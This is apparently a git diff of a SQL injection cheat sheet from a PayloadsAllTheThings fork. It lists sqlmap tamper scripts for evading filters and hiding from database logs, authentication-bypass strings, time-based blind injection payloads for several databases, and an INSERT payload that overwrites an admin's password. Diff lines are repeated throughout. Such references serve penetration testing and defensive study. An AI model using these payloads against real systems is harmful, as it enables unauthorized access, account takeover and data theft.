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https://github.com/weyne85/PayloadsAllTheThings.git
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CRLF injection updated
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@@ -1,5 +1,5 @@
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# SQL injection
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A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
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A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
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## Entry point detection
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@@ -20,6 +20,7 @@ Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
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transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
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transformed into U+0027 APOSTROPHE (')
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Wildcard (*)
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```
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@@ -43,53 +44,53 @@ tamper=name_of_the_tamper
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| Tamper | Description |
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| --- | --- |
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|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
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|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
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|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
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|base64encode.py | Base64 all characters in a given payload |
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|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
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|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
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|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
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|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
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|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
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|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
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|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
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|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
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|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
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|escapequotes.py | Slash escape quotes (' and ") |
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|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
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|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
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|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
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|modsecurityversioned.py | Embraces complete query with versioned comment |
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|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
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|multiplespaces.py | Adds multiple spaces around SQL keywords |
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|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
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|percentage.py | Adds a percentage sign ('%') infront of each character |
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|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
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|randomcase.py | Replaces each keyword character with random case value |
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|randomcomments.py | Add random comments to SQL keywords|
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|securesphere.py | Appends special crafted string|
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|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
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|space2comment.py | Replaces space character (' ') with comments |
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|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
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|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
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|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
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|space2plus.py | Replaces space character (' ') with plus ('+') |
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|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
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|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
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|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
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|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
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|varnish.py | Append a HTTP header 'X-originating-IP' |
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|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
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|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
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|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
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|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
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|base64encode.py | Base64 all characters in a given payload |
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|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
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|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
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|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
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|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
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|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
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|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
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|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
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|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
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|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
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|escapequotes.py | Slash escape quotes (' and ") |
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|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
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|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
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|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
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|modsecurityversioned.py | Embraces complete query with versioned comment |
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|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
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|multiplespaces.py | Adds multiple spaces around SQL keywords |
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|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
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|percentage.py | Adds a percentage sign ('%') infront of each character |
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|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
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|randomcase.py | Replaces each keyword character with random case value |
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|randomcomments.py | Add random comments to SQL keywords|
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|securesphere.py | Appends special crafted string|
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|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
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|space2comment.py | Replaces space character (' ') with comments |
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|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
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|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
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|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
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|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
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|space2plus.py | Replaces space character (' ') with plus ('+') |
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|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
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|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
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|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
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|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
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|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
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|varnish.py | Append a HTTP header 'X-originating-IP' |
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|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
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|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
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|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
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## Authentication bypass
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## Authentication bypass
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```
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'-'
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' '
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@@ -123,7 +124,7 @@ or true--
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") or ("x")=("x
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")) or (("x"))=(("x
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or 1=1
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or 1=1--
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or 1=1--
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or 1=1#
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or 1=1/*
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admin' --
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@@ -173,9 +174,9 @@ admin") or "1"="1"/*
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## Time based
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```
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SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) comment: -- /**/
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MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/
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MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/
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MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/
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MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/
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MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/
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MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/
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Oracle : AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/
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PostGreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) comment: -- /**/
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PostGreSQL : AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) comment: -- /**/
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@@ -187,18 +188,18 @@ SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
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SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
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```
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## Insert Statement - ON DUPLICATE KEY UPDATE
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## Insert Statement - ON DUPLICATE KEY UPDATE
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ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
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```
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Inject using payload:
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attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
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The query would look like this:
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INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
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This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
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This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
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Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
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After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
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```
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@@ -228,7 +229,7 @@ No Whitespace - bypass using parenthesis
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No Comma - bypass using OFFSET, FROM and JOIN
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```
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LIMIT 0,1 -> LIMIT 1 OFFSET 0
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SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
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SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
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SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
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```
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@@ -316,4 +317,4 @@ mysql> mysql> select version();
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- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
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- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
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- [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
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- [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
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- [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
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